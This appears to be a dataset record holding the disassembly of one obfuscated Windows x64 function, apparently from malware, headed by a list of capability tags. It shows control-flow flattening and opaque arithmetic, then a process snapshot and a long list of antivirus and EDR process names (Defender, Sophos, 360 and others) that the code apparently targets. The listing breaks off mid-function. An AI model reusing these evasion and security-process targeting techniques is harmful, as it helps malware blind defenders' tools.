Function at 0x140b0ff94
Capabilities:
Authenticate hmac
Check for software breakpoints
Check http status code
Hash data using murmur3
Parse pe header

Disassembly:
push rax
pushf
mov eax, 0xee6bbac
pushf
not eax
add eax, 0xb551e06c
xor eax, 0xb24d76a6
rol eax, 0x2b
popf
pushf
not eax
add eax, 0x9e904f76
xor eax, 0x9db57fde
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xd9c4962e
xor eax, 0xb865ccce
rol eax, 0xf5
popf
cmp eax, 0x63
jne 0x140b0ffe4
popf
pop rax
jmp 0x140b15576
cmp eax, 0x48
jne 0x140b0fff3
popf
pop rax
jmp 0x140b14947
cmp eax, 0x3f
jne 0x140b10002
popf
pop rax
jmp 0x140b144a5
cmp eax, 0x99
jne 0x140b10011
popf
pop rax
jmp 0x140b16db3
cmp eax, 0xca
jne 0x140b10020
popf
pop rax
jmp 0x140b183db
cmp eax, 0x78
jne 0x140b1002f
popf
pop rax
jmp 0x140b15eda
cmp eax, 0xd5
jne 0x140b1003e
popf
pop rax
jmp 0x140b18947
cmp eax, 0x6e
jne 0x140b1004d
popf
pop rax
jmp 0x140b15a51
cmp eax, 0x8b
jne 0x140b1005c
popf
pop rax
jmp 0x140b16726
cmp eax, 0x7d
jne 0x140b1006b
popf
pop rax
jmp 0x140b1615a
cmp eax, 0x2a
jne 0x140b1007a
popf
pop rax
jmp 0x140b13bb1
cmp eax, 0x71
jne 0x140b10089
popf
pop rax
jmp 0x140b15ba1
cmp eax, 0x1c
jne 0x140b10098
popf
pop rax
jmp 0x140b13577
cmp eax, 0x2e
jne 0x140b100a7
popf
pop rax
jmp 0x140b13d98
cmp eax, 0x89
jne 0x140b100b6
popf
pop rax
jmp 0x140b1668a
cmp eax, 0xcd
jne 0x140b100c5
popf
pop rax
jmp 0x140b18564
cmp eax, 0xbb
jne 0x140b100d4
popf
pop rax
jmp 0x140b17cef
cmp eax, 0xcb
jne 0x140b100e3
popf
pop rax
jmp 0x140b1842c
cmp eax, 0x23
jne 0x140b100f2
popf
pop rax
jmp 0x140b13884
cmp eax, 0xb3
jne 0x140b10101
popf
pop rax
jmp 0x140b17947
cmp eax, 0x43
jne 0x140b10110
popf
pop rax
jmp 0x140b146c5
cmp eax, 0x13
jne 0x140b1011f
popf
pop rax
jmp 0x140b131e2
cmp eax, 0x33
jne 0x140b1012e
popf
pop rax
jmp 0x140b13f9b
cmp eax, 0x24
jne 0x140b1013d
popf
pop rax
jmp 0x140b13932
cmp eax, 0x1e
jne 0x140b1014c
popf
pop rax
jmp 0x140b1365b
cmp eax, 0xb1
jne 0x140b1015b
popf
pop rax
jmp 0x140b178d1
cmp eax, 0x26
jne 0x140b1016a
popf
pop rax
jmp 0x140b139f0
cmp eax, 0x27
jne 0x140b10179
popf
pop rax
jmp 0x140b13a45
cmp eax, 0x30
jne 0x140b10188
popf
pop rax
jmp 0x140b13e75
cmp eax, 0xb9
jne 0x140b10197
popf
pop rax
jmp 0x140b17c40
cmp eax, 0x37
jne 0x140b101a6
popf
pop rax
jmp 0x140b1416f
cmp eax, 0xd6
jne 0x140b101b5
popf
pop rax
jmp 0x140b18a3b
cmp eax, 0x39
jne 0x140b101c4
popf
pop rax
jmp 0x140b1427d
cmp eax, 0xd4
jne 0x140b101d3
popf
pop rax
jmp 0x140b1889c
cmp eax, 0x7e
jne 0x140b101e2
popf
pop rax
jmp 0x140b161b8
cmp eax, 0xd2
jne 0x140b101f1
popf
pop rax
jmp 0x140b18786
cmp eax, 0x92
jne 0x140b10200
popf
pop rax
jmp 0x140b16a1d
cmp eax, 0xc6
jne 0x140b1020f
popf
pop rax
jmp 0x140b18240
cmp eax, 0xa4
jne 0x140b1021e
popf
pop rax
jmp 0x140b17296
cmp eax, 0x7f
jne 0x140b1022d
popf
pop rax
jmp 0x140b16209
cmp eax, 0xb7
jne 0x140b1023c
popf
pop rax
jmp 0x140b17b08
cmp eax, 0x83
jne 0x140b1024b
popf
pop rax
jmp 0x140b163a4
cmp eax, 0xce
jne 0x140b1025a
popf
pop rax
jmp 0x140b185c2
cmp eax, 0x11
jne 0x140b10269
popf
pop rax
jmp 0x140b13155
cmp eax, 0x35
jne 0x140b10278
popf
pop rax
jmp 0x140b140e2
cmp eax, 0xa0
jne 0x140b10287
popf
pop rax
jmp 0x140b170c2
cmp eax, 0x7a
jne 0x140b10296
popf
pop rax
jmp 0x140b15ff7
cmp eax, 0x6b
jne 0x140b102a5
popf
pop rax
jmp 0x140b158d2
cmp eax, 0x38
jne 0x140b102b4
popf
pop rax
jmp 0x140b1420a
cmp eax, 0xc2
jne 0x140b102c3
popf
pop rax
jmp 0x140b18046
cmp eax, 0x5c
jne 0x140b102d2
popf
pop rax
jmp 0x140b152a2
cmp eax, 0x15
jne 0x140b102e1
popf
pop rax
jmp 0x140b132f0
cmp eax, 0xaf
jne 0x140b102f0
popf
pop rax
jmp 0x140b177ac
cmp eax, 0xd1
jne 0x140b102ff
popf
pop rax
jmp 0x140b1873b
cmp eax, 0xc3
jne 0x140b1030e
popf
pop rax
jmp 0x140b180aa
cmp eax, 0x49
jne 0x140b1031d
popf
pop rax
jmp 0x140b149df
cmp eax, 0x1f
jne 0x140b1032c
popf
pop rax
jmp 0x140b1369d
cmp eax, 0xc8
jne 0x140b1033b
popf
pop rax
jmp 0x140b1830a
cmp eax, 0x8f
jne 0x140b1034a
popf
pop rax
jmp 0x140b168d3
cmp eax, 0x4d
jne 0x140b10359
popf
pop rax
jmp 0x140b14ba0
cmp eax, 0xd7
jne 0x140b10368
popf
pop rax
jmp 0x140b18a8d
cmp eax, 0xb5
jne 0x140b10377
popf
pop rax
jmp 0x140b17a7f
cmp eax, 0x2c
jne 0x140b10386
popf
pop rax
jmp 0x140b13cc7
cmp eax, 0x5f
jne 0x140b10395
popf
pop rax
jmp 0x140b153db
cmp eax, 0x19
jne 0x140b103a4
popf
pop rax
jmp 0x140b1343c
cmp eax, 0x1d
jne 0x140b103b3
popf
pop rax
jmp 0x140b135fd
cmp eax, 0x9e
jne 0x140b103c2
popf
pop rax
jmp 0x140b16fe5
cmp eax, 0x53
jne 0x140b103d1
popf
pop rax
jmp 0x140b14e39
cmp eax, 0x4f
jne 0x140b103e0
popf
pop rax
jmp 0x140b14c2c
cmp eax, 0x6c
jne 0x140b103ef
popf
pop rax
jmp 0x140b1595a
cmp eax, 7
jne 0x140b103fe
popf
pop rax
jmp 0x140b12ceb
cmp eax, 0xa8
jne 0x140b1040d
popf
pop rax
jmp 0x140b17490
cmp eax, 0x84
jne 0x140b1041c
popf
pop rax
jmp 0x140b16443
cmp eax, 0x7c
jne 0x140b1042b
popf
pop rax
jmp 0x140b160e7
cmp eax, 0xac
jne 0x140b1043a
popf
pop rax
jmp 0x140b17664
cmp eax, 0x8c
jne 0x140b10449
popf
pop rax
jmp 0x140b167d8
cmp eax, 0x18
jne 0x140b10458
popf
pop rax
jmp 0x140b1337d
cmp eax, 0x28
jne 0x140b10467
popf
pop rax
jmp 0x140b13ae0
cmp eax, 0xbd
jne 0x140b10476
popf
pop rax
jmp 0x140b17e4d
cmp eax, 0x98
jne 0x140b10485
popf
pop rax
jmp 0x140b16d07
cmp eax, 0x52
jne 0x140b10494
popf
pop rax
jmp 0x140b14dd1
cmp eax, 0x41
jne 0x140b104a3
popf
pop rax
jmp 0x140b145ff
cmp eax, 0xba
jne 0x140b104b2
popf
pop rax
jmp 0x140b17c9e
cmp eax, 0x70
jne 0x140b104c1
popf
pop rax
jmp 0x140b15b1b
cmp eax, 0x29
jne 0x140b104d0
popf
pop rax
jmp 0x140b13b79
cmp eax, 0x95
jne 0x140b104df
popf
pop rax
jmp 0x140b16bb9
cmp eax, 0
jne 0x140b104ee
popf
pop rax
jmp 0x140b10c9b
cmp eax, 0x4e
jne 0x140b104fd
popf
pop rax
jmp 0x140b14bea
cmp eax, 0x31
jne 0x140b1050c
popf
pop rax
jmp 0x140b13efb
cmp eax, 0xa1
jne 0x140b1051b
popf
pop rax
jmp 0x140b17148
cmp eax, 0x82
jne 0x140b1052a
popf
pop rax
jmp 0x140b16353
cmp eax, 0xa3
jne 0x140b10539
popf
pop rax
jmp 0x140b171e4
cmp eax, 0xad
jne 0x140b10548
popf
pop rax
jmp 0x140b17710
cmp eax, 0x7b
jne 0x140b10557
popf
pop rax
jmp 0x140b16035
cmp eax, 0x75
jne 0x140b10566
popf
pop rax
jmp 0x140b15d88
cmp eax, 3
jne 0x140b10575
popf
pop rax
jmp 0x140b12b2a
cmp eax, 0x6f
jne 0x140b10584
popf
pop rax
jmp 0x140b15a93
cmp eax, 0x34
jne 0x140b10593
popf
pop rax
jmp 0x140b14049
cmp eax, 0x88
jne 0x140b105a2
popf
pop rax
jmp 0x140b16604
cmp eax, 0x76
jne 0x140b105b1
popf
pop rax
jmp 0x140b15de6
cmp eax, 0xb
jne 0x140b105c0
popf
pop rax
jmp 0x140b12e86
cmp eax, 0x66
jne 0x140b105cf
popf
pop rax
jmp 0x140b156e2
cmp eax, 0x81
jne 0x140b105de
popf
pop rax
jmp 0x140b1631b
cmp eax, 0x9f
jne 0x140b105ed
popf
pop rax
jmp 0x140b17036
cmp eax, 0xd3
jne 0x140b105fc
popf
pop rax
jmp 0x140b187ea
cmp eax, 2
jne 0x140b1060b
popf
pop rax
jmp 0x140b12ac1
cmp eax, 0x65
jne 0x140b1061a
popf
pop rax
jmp 0x140b15684
cmp eax, 0x21
jne 0x140b10629
popf
pop rax
jmp 0x140b137d1
cmp eax, 0xa5
jne 0x140b10638
popf
pop rax
jmp 0x140b17342
cmp eax, 0xb6
jne 0x140b10647
popf
pop rax
jmp 0x140b17aca
cmp eax, 0x87
jne 0x140b10656
popf
pop rax
jmp 0x140b16552
cmp eax, 0x46
jne 0x140b10665
popf
pop rax
jmp 0x140b14857
cmp eax, 0x32
jne 0x140b10674
popf
pop rax
jmp 0x140b13f59
cmp eax, 0x96
jne 0x140b10683
popf
pop rax
jmp 0x140b16c04
cmp eax, 0x60
jne 0x140b10692
popf
pop rax
jmp 0x140b15476
cmp eax, 0x42
jne 0x140b106a1
popf
pop rax
jmp 0x140b1465d
cmp eax, 8
jne 0x140b106b0
popf
pop rax
jmp 0x140b12d73
cmp eax, 0xb4
jne 0x140b106bf
popf
pop rax
jmp 0x140b179e6
cmp eax, 0x59
jne 0x140b106ce
popf
pop rax
jmp 0x140b15154
cmp eax, 0x9c
jne 0x140b106dd
popf
pop rax
jmp 0x140b16f14
cmp eax, 0x1a
jne 0x140b106ec
popf
pop rax
jmp 0x140b13474
cmp eax, 0x73
jne 0x140b106fb
popf
pop rax
jmp 0x140b15c2e
cmp eax, 0x12
jne 0x140b1070a
popf
pop rax
jmp 0x140b131a0
cmp eax, 0xa9
jne 0x140b10719
popf
pop rax
jmp 0x140b17529
cmp eax, 0x3c
jne 0x140b10728
popf
pop rax
jmp 0x140b143a5
cmp eax, 0x74
jne 0x140b10737
popf
pop rax
jmp 0x140b15cef
cmp eax, 0x3b
jne 0x140b10746
popf
pop rax
jmp 0x140b1431d
cmp eax, 0xd0
jne 0x140b10755
popf
pop rax
jmp 0x140b186b5
cmp eax, 0x5d
jne 0x140b10764
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x6ef0]
mov eax, 0x7a45fec3
pushf
not eax
add eax, 0xcc7990bf
xor eax, 0xc6d13282
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xfa9da046
xor eax, 0xb31cd5d4
rol eax, 0x12
popf
call fcn.140b242f9
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x6ee0], rax
xor edx, edx
lea ecx, [rdx + 2]
jmp 0x140b10cfd
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor edx, edx
mov dword [rsp + 0x50], 0x238
mov r8d, 0xb5fb5f
pushf
not r8d
add r8d, 0x801feaa1
xor r8d, 0xe8e87d54
rol r8d, 0x81
popf
pushf
not r8d
add r8d, 0xf6ff561d
xor r8d, 0xc7bab1f1
rol r8d, 0xb3
popf
lea rcx, [rsp + 0x54]
mov rsi, rax
call fcn.140549f90
movups xmm0, xmmword [str.MpCmdRun.exe]
movzx ecx, word [0x14056bda8]
xor edx, edx
movsd xmm1, qword [0x14056bda0]
mov r8d, 0xb366b882
pushf
not r8d
add r8d, 0x8890fd1a
xor r8d, 0xa5233e58
rol r8d, 0x3d
popf
pushf
not r8d
add r8d, 0xe431ca13
xor r8d, 0xf6309a4e
rol r8d, 1
popf
mov word [rbp + 0x5008], cx
lea rcx, [rbp + 0x500a]
movaps xmmword [rbp + 0x4ff0], xmm0
movsd qword [rbp + 0x5000], xmm1
call fcn.140549f90
movups xmm0, xmmword [str.SecurityHealthSystray.exe]
mov eax, dword [0x14056bde0]
xor edx, edx
movups xmm1, xmmword [0x14056bdc0]
lea rcx, [rbp + 0x3d4]
mov r8d, 0x588e40fa
pushf
not r8d
add r8d, 0xcd4d5ca0
xor r8d, 0xb29ba248
rol r8d, 0x8b
popf
pushf
not r8d
add r8d, 0xb0e19fed
xor r8d, 0xb7ea8f78
rol r8d, 0x92
popf
pushf
not r8d
add r8d, 0x83dd78c3
xor r8d, 0xca5f4220
rol r8d, 0x82
popf
pushf
not r8d
add r8d, 0xe720c46c
xor r8d, 0xdce1dc6a
rol r8d, 0x3a
popf
movaps xmmword [rbp + 0x3a0], xmm0
movups xmm0, xmmword [0x14056bdd0]
mov dword [rbp + 0x3d0], eax
movaps xmmword [rbp + 0x3b0], xmm1
movaps xmmword [rbp + 0x3c0], xmm0
call fcn.140549f90
mov eax, dword [0x14056bdf8]
lea rcx, [rbp + 0x2096]
movups xmm0, xmmword [str.NisSrv.exe]
mov dword [rbp + 0x2090], eax
xor edx, edx
movzx eax, word [0x14056bdfc]
mov r8d, 0x14a2084f
pushf
not r8d
add r8d, 0xb46e9fa6
xor r8d, 0xcfa9a496
rol r8d, 0x42
popf
pushf
not r8d
add r8d, 0xc62f48e8
xor r8d, 0x846379e6
rol r8d, 0x11
popf
movaps xmmword [rbp + 0x2080], xmm0
mov word [rbp + 0x2094], ax
call fcn.140549f90
movups xmm0, xmmword [str.MsMpEng.exe]
lea rcx, [rbp + 0x5e78]
xor edx, edx
movsd xmm1, qword [0x14056be10]
mov r8d, 0x77a675ef
pushf
not r8d
add r8d, 0xa564ad7a
xor r8d, 0xe7c46f51
rol r8d, 0xde
popf
pushf
not r8d
add r8d, 0xbe8036a8
xor r8d, 0xfd7bc098
rol r8d, 0x1b
popf
pushf
not r8d
add r8d, 0xb1b22b43
xor r8d, 0xe86440b4
rol r8d, 0x29
popf
pushf
not r8d
add r8d, 0xb4c4e9cd
xor r8d, 0x8293c52d
rol r8d, 0x7d
popf
movaps xmmword [rbp + 0x5e60], xmm0
movsd qword [rbp + 0x5e70], xmm1
call fcn.140549f90
movups xmm0, xmmword [str.SophosFileScanner.exe]
mov eax, dword [0x14056be40]
xor edx, edx
movups xmm1, xmmword [0x14056be28]
lea rcx, [rbp + 0x5dc]
mov r8d, 0x428141c5
pushf
not r8d
add r8d, 0x916ad993
xor r8d, 0x80011e5d
rol r8d, 0x16
popf
pushf
not r8d
add r8d, 0xee26008d
xor r8d, 0x89c9c66a
rol r8d, 0x33
popf
movaps xmmword [rbp + 0x5b0], xmm0
movsd xmm0, qword [0x14056be38]
movsd qword [rbp + 0x5d0], xmm0
movaps xmmword [rbp + 0x5c0], xmm1
mov dword [rbp + 0x5d8], eax
call fcn.140549f90
movups xmm0, xmmword [str.SophosFS.exe]
movzx ebx, word [0x14056be60]
lea rcx, [rbp + 0x22aa]
xor edx, edx
mov word [rbp + 0x22a8], bx
movaps xmmword [rbp + 0x2290], xmm0
mov r8d, 0x2fc70000
pushf
not r8d
add r8d, 0xecbbea75
xor r8d, 0xbef770f4
rol r8d, 0x33
popf
pushf
not r8d
add r8d, 0x85b195b7
xor r8d, 0xb2f76820
rol r8d, 0xbe
popf
pushf
not r8d
add r8d, 0xa66e1c08
xor r8d, 0xa59c60e2
rol r8d, 0x22
popf
movsd xmm0, qword [0x14056be58]
movsd qword [rbp + 0x22a0], xmm0
call fcn.140549f90
movups xmm0, xmmword [str.360Safe.exe]
lea rcx, [rbp + 0x6ce8]
xor edx, edx
movsd xmm1, qword [0x14056be78]
mov r8d, 0xa00cee5
pushf
not r8d
add r8d, 0xb6e2dbb1
xor r8d, 0x8bb0df65
rol r8d, 0x5a
popf
pushf
not r8d
add r8d, 0xdc8906fb
xor r8d, 0xe3ebbbab
rol r8d, 0xe6
popf
movaps xmmword [rbp + 0x6cd0], xmm0
movsd qword [rbp + 0x6ce0], xmm1
call fcn.140549f90
movups xmm0, xmmword [str.360sd.exe]
movaps xmmword [rbp + 0x6070], xmm0
mov eax, dword [0x14056be90]
lea rcx, [rbp + 0x6084]
xor edx, edx
mov dword [rbp + 0x6080], eax
mov r8d, 0x4c266ef6
pushf
not r8d
add r8d, 0xda092fb3
xor r8d, 0xf19201b6
rol r8d, 0x14
popf
pushf
not r8d
add r8d, 0xcf5ad8d0
xor r8d, 0xebe0f183
rol r8d, 0xa1
popf
pushf
not r8d
add r8d, 0x94666696
xor r8d, 0xe9be9895
rol r8d, 0x7b
popf
call fcn.140549f90
movups xmm0, xmmword [str.360tray.exe]
lea rcx, [rbp + 0x6298]
xor edx, edx
movsd xmm1, qword [0x14056bea8]
mov r8d, 0x96978411
pushf
not r8d
add r8d, 0xf9bbe5a2
xor r8d, 0xac1aa23c
rol r8d, 0xd9
popf
pushf
not r8d
add r8d, 0xf1dbfc95
xor r8d, 0x983d7f33
rol r8d, 0xe3
popf
movaps xmmword [rbp + 0x6280], xmm0
movsd qword [rbp + 0x6290], xmm1
call fcn.140549f90
movups xmm0, xmmword [str.360Tray.exe]
lea rcx, [rbp + 0x64a8]
xor edx, edx
movsd xmm1, qword [0x14056bec0]
mov r8d, 0xed7e15a9
pushf
not r8d
add r8d, 0xd091fdab
xor r8d, 0xde79f3a3
rol r8d, 0xa4
popf
pushf
not r8d
add r8d, 0x8b53693b
xor r8d, 0xb4b1afef
rol r8d, 1
popf
movaps xmmword [rbp + 0x6490], xmm0
movsd qword [rbp + 0x64a0], xmm1
call fcn.140549f90
movups xmm0, xmmword [str.ZhuDongFangYu.exe]
mov eax, dword [0x14056bee8]
xor edx, edx
movups xmm1, xmmword [0x14056bed8]
mov r8d, 0xfae291be
pushf
not r8d
add r8d, 0x965cb016
xor r8d, 0x84d99832
rol r8d, 0x3d
popf
pushf
not r8d
add r8d, 0xa962b71b
xor r8d, 0xf30b892c
rol r8d, 0x83
popf
pushf
not r8d
add r8d, 0xa67f281d
xor r8d, 0xf350aa95
rol r8d, 0x7e
popf
lea rcx, [rbp + 0x24c4]
movaps xmmword [rbp + 0x24a0], xmm0
movaps xmmword [rbp + 0x24b0], xmm1
mov dword [rbp + 0x24c0], eax
call fcn.140549f90
movups xmm0, xmmword [str.SophosFS.exe]
xor edx, edx
mov word [rbp + 0x26c8], bx
mov r8d, 0xb00dfe99
pushf
not r8d
add r8d, 0xfda06ce7
xor r8d, 0x9730722c
rol r8d, 0x11
popf
pushf
not r8d
add r8d, 0xda0f4f5f
xor r8d, 0xdd7b3ad2
rol r8d, 0x3d
popf
pushf
not r8d
add r8d, 0xd3ea3477
xor r8d, 0x8563a70a
rol r8d, 0x99
popf
pushf
not r8d
add r8d, 0x9f39e858
xor r8d, 0x8b37d949
rol r8d, 0xca
popf
lea rcx, [rbp + 0x26ca]
movaps xmmword [rbp + 0x26b0], xmm0
movsd xmm0, qword [0x14056be58]
movsd qword [rbp + 0x26c0], xmm0
call fcn.140549f90
movups xmm0, xmmword [str.SSPService.exe]
movzx ebx, word [0x14056bf0c]
lea rcx, [rbp + 0x7de]
mov edi, dword [0x14056bf08]
xor edx, edx
movaps xmmword [rbp + 0x7c0], xmm0
mov r8d, 0x49f94ad8
pushf
not r8d
add r8d, 0xe7884259
xor r8d, 0xd95d85d2
rol r8d, 0xdb
popf
pushf
not r8d
add r8d, 0x93acc550
xor r8d, 0xf752a441
rol r8d, 0x41
popf
pushf
not r8d
add r8d, 0xdfd8c548
xor r8d, 0xf255294e
rol r8d, 0x92
popf
movsd xmm0, qword [0x14056bf00]
movsd qword [rbp + 0x7d0], xmm0
mov dword [rbp + 0x7d8], edi
mov word [rbp + 0x7dc], bx
call fcn.140549f90
movups xmm0, xmmword [str.SSPService.exe]
xor edx, edx
mov dword [rbp + 0x9e8], edi
mov r8d, 0xfcc2278
pushf
not r8d
add r8d, 0xa594aab6
xor r8d, 0xc45033fa
rol r8d, 0xb7
popf
pushf
not r8d
add r8d, 0xea6c4d49
xor r8d, 0x86c38091
rol r8d, 0xa2
popf
mov word [rbp + 0x9ec], bx
movaps xmmword [rbp + 0x9d0], xmm0
lea rcx, [rbp + 0x9ee]
movsd xmm0, qword [0x14056bf00]
movsd qword [rbp + 0x9e0], xmm0
call fcn.140549f90
movups xmm0, xmmword [str.SophosNetFilter.exe]
xor edx, edx
mov r8d, 0x9746ea75
pushf
not r8d
add r8d, 0xa4850515
xor r8d, 0xf4a5da0b
rol r8d, 4
popf
pushf
not r8d
add r8d, 0xa43adf8a
xor r8d, 0xcbce7a42
rol r8d, 0x49
popf
pushf
not r8d
add r8d, 0xd833ec06
xor r8d, 0xdc2132ad
rol r8d, 0x79
popf
pushf
not r8d
add r8d, 0xffd7e54b
xor r8d, 0xa081ee7a
rol r8d, 0xdf
popf
movups xmm1, xmmword [0x14056bf20]
lea rcx, [rbp + 0x28e8]
movaps xmmword [rbp + 0x28c0], xmm0
movsd xmm0, qword [0x14056bf30]
movsd qword [rbp + 0x28e0], xmm0
movaps xmmword [rbp + 0x28d0], xmm1
call fcn.140549f90
mov eax, dword [0x14056bf50]
movups xmm0, xmmword [str.SEDService.exe]
mov dword [rbp + 0xbf8], eax
movzx eax, word [0x14056bf54]
movsd xmm1, qword [0x14056bf48]
movaps xmmword [rbp + 0xbe0], xmm0
mov word [rbp + 0xbfc], ax
movsd qword [rbp + 0xbf0], xmm1
xor edx, edx
lea rcx, [rbp + 0xbfe]
mov r8d, 0x1f9f945
pushf
not r8d
add r8d, 0xe68210db
xor r8d, 0xc71c6e1b
rol r8d, 0x14
popf
pushf
not r8d
add r8d, 0x82b94de1
xor r8d, 0xaa2ae30d
rol r8d, 0xc9
popf
pushf
not r8d
add r8d, 0xd33a5549
xor r8d, 0x874b2cce
rol r8d, 0xc5
popf
call fcn.140549f90
movups xmm0, xmmword [str.SophosHealth.exe]
movzx eax, word [0x14056bf78]
xor edx, edx
movups xmm1, xmmword [0x14056bf68]
mov r8d, 0x87ee4617
pushf
not r8d
add r8d, 0x9c41f2da
xor r8d, 0xcd8fda3b
rol r8d, 0xed
popf
pushf
not r8d
add r8d, 0xe9443e33
xor r8d, 0x966502f4
rol r8d, 0xa7
popf
lea rcx, [rbp + 0x2af2]
movaps xmmword [rbp + 0x2ad0], xmm0
movaps xmmword [rbp + 0x2ae0], xmm1
mov word [rbp + 0x2af0], ax
call fcn.140549f90
movups xmm0, xmmword [str.hmpalert.exe]
lea rcx, [rbp + 0x2cfa]
movzx eax, word [0x14056bf98]
movsd xmm1, qword [0x14056bf90]
xor edx, edx
mov r8d, 0x9cd7be11
pushf
not r8d
add r8d, 0xa4bd2545
xor r8d, 0x8aa2a01d
rol r8d, 0x36
popf
pushf
not r8d
add r8d, 0x9276df5e
xor r8d, 0xc6dcfd6c
rol r8d, 0x75
popf
movaps xmmword [rbp + 0x2ce0], xmm0
movsd qword [rbp + 0x2cf0], xmm1
mov word [rbp + 0x2cf8], ax
call fcn.140549f90
movups xmm0, xmmword [str.McsAgent.exe]
lea rcx, [rbp + 0x2f0a]
movzx eax, word [0x14056bfb8]
movsd xmm1, qword [0x14056bfb0]
xor edx, edx
mov r8d, 0xf89b1870
pushf
not r8d
add r8d, 0xb072daaa
xor r8d, 0xc0ede820
rol r8d, 0x21
popf
pushf
not r8d
add r8d, 0xa380a308
xor r8d, 0xb50f92d5
rol r8d, 0x57
popf
movaps xmmword [rbp + 0x2ef0], xmm0
movsd qword [rbp + 0x2f00], xmm1
mov word [rbp + 0x2f08], ax
call fcn.140549f90
movups xmm0, xmmword [str.McsClient_no.exe]
movzx eax, word [0x14056bfe0]
xor edx, edx
movups xmm1, xmmword [0x14056bfd0]
mov r8d, 0x11d87c6e
pushf
not r8d
add r8d, 0xd0e33990
xor r8d, 0xb94df89c
rol r8d, 0xd2
popf
pushf
not r8d
add r8d, 0xbe1e6398
xor r8d, 0xc51c8368
rol r8d, 0x81
popf
pushf
not r8d
add r8d, 0xf13c71f3
xor r8d, 0xea49c822
rol r8d, 0x83
popf
pushf
not r8d
add r8d, 0xb256d3b9
xor r8d, 0xfe1e142b
rol r8d, 0x22
popf
lea rcx, [rbp + 0x3122]
movaps xmmword [rbp + 0x3100], xmm0
movaps xmmword [rbp + 0x3110], xmm1
mov word [rbp + 0x3120], ax
call fcn.140549f90
movups xmm0, xmmword [str.SophosNtpService.exe]
movzx eax, word [0x14056c010]
xor edx, edx
movups xmm1, xmmword [0x14056bff8]
lea rcx, [rbp + 0xe1a]
mov r8d, 0x163cd48e
pushf
not r8d
add r8d, 0xebcf94cf
xor r8d, 0xaa3b43c1
rol r8d, 0x24
popf
pushf
not r8d
add r8d, 0x86f2f135
xor r8d, 0x9cdc919a
rol r8d, 0x3a
popf
pushf
not r8d
add r8d, 0xd3810343
xor r8d, 0xb046eaa0
rol r8d, 0x8e
popf
movaps xmmword [rbp + 0xdf0], xmm0
movsd xmm0, qword [0x14056c008]
movsd qword [rbp + 0xe10], xmm0
movaps xmmword [rbp + 0xe00], xmm1
mov word [rbp + 0xe18], ax
call fcn.140549f90
movups xmm0, xmmword [str.AgentDaemon.exe]
xor edx, edx
mov r8d, 0x19cab4c4
pushf
not r8d
add r8d, 0xcb00820f
xor r8d, 0xdab02180
rol r8d, 0x2a
popf
pushf
not r8d
add r8d, 0xbc293609
xor r8d, 0xa476f85a
rol r8d, 0x59
popf
movups xmm1, xmmword [0x14056c028]
lea rcx, [rbp + 0x66c0]
movaps xmmword [rbp + 0x66a0], xmm0
movaps xmmword [rbp + 0x66b0], xmm1
call fcn.140549f90
movups xmm0, xmmword [str.AgentService.exe]
movzx eax, word [0x14056c058]
xor edx, edx
movups xmm1, xmmword [0x14056c048]
mov r8d, 0x8a233a28
pushf
not r8d
add r8d, 0x84ac89ba
xor r8d, 0x8828519d
rol r8d, 0xab
popf
pushf
not r8d
add r8d, 0xa5cfaa67
xor r8d, 0x9b4746d1
rol r8d, 0xee
popf
lea rcx, [rbp + 0x3332]
movaps xmmword [rbp + 0x3310], xmm0
movaps xmmword [rbp + 0x3320], xmm1
mov word [rbp + 0x3330], ax
call fcn.140549f90
movups xmm0, xmmword [str.AgentProbe64.exe]
movzx eax, word [0x14056c080]
xor edx, edx
movups xmm1, xmmword [0x14056c070]
mov word [rbp + 0x5220], ax
movaps xmmword [rbp + 0x5200], xmm0
movaps xmmword [rbp + 0x5210], xmm1
mov r8d, 0x4f89d5de
pushf
not r8d
add r8d, 0xfe396457
xor r8d, 0xa7f6e428
rol r8d, 0xb3
popf
pushf
not r8d
add r8d, 0xc48944de
xor r8d, 0x9408fa13
rol r8d, 0xc8
popf
lea rcx, [rbp + 0x5222]
call fcn.140549f90
mov eax, dword [0x14056c0a8]
lea rcx, [rbp + 0x1026]
movups xmm0, xmmword [str.aitrust_server.exe]
mov dword [rbp + 0x1020], eax
xor edx, edx
movups xmm1, xmmword [0x14056c098]
movzx eax, word [0x14056c0ac]
mov r8d, 0x22a39bb5
pushf
not r8d
add r8d, 0xfff01195
xor r8d, 0xe3557c18
rol r8d, 0xcf
popf
pushf
not r8d
add r8d, 0xaa0f84b9
xor r8d, 0xe54b50b5
rol r8d, 0xb
popf
pushf
not r8d
add r8d, 0xcb3b0779
xor r8d, 0xbd123975
rol r8d, 0xaa
popf
movaps xmmword [rbp + 0x1000], xmm0
movaps xmmword [rbp + 0x1010], xmm1
mov word [rbp + 0x1024], ax
call fcn.140549f90
movups xmm0, xmmword [str.ProtectMain.exe]
xor edx, edx
mov r8d, 0xefa15fb9
pushf
not r8d
add r8d, 0xcce6146f
xor r8d, 0xc8753009
rol r8d, 0x2d
popf
pushf
not r8d
add r8d, 0x8e3090c8
xor r8d, 0xc0174134
rol r8d, 0xfe
popf
pushf
not r8d
add r8d, 0xea6241a3
xor r8d, 0x82feac35
rol r8d, 0x20
popf
movups xmm1, xmmword [0x14056c0c0]
lea rcx, [rbp + 0x68d0]
movaps xmmword [rbp + 0x68b0], xmm0
movaps xmmword [rbp + 0x68c0], xmm1
call fcn.140549f90
movups xmm0, xmmword [str.usysdiag.exe]
lea rcx, [rbp + 0x353a]
movzx eax, word [0x14056c0e8]
movsd xmm1, qword [0x14056c0e0]
xor edx, edx
mov r8d, 0x4d714b68
pushf
not r8d
add r8d, 0x8eed2d08
xor r8d, 0xb8714064
rol r8d, 0x14
popf
pushf
not r8d
add r8d, 0x948f873b
xor r8d, 0xb639c4b1
rol r8d, 0x25
popf
pushf
not r8d
add r8d, 0x8115a1f0
xor r8d, 0xab1e6abc
rol r8d, 0xbd
popf
pushf
not r8d
add r8d, 0x8c04e9f6
xor r8d, 0xc6dac317
rol r8d, 0xa7
popf
movaps xmmword [rbp + 0x3520], xmm0
movsd qword [rbp + 0x3530], xmm1
mov word [rbp + 0x3538], ax
call fcn.140549f90
movups xmm0, xmmword [str.wsctrlsvc.exe]
lea rcx, [rbp + 0x374c]
mov eax, dword [0x14056c108]
movsd xmm1, qword [0x14056c100]
xor edx, edx
mov r8d, 0x5629d5f8
pushf
not r8d
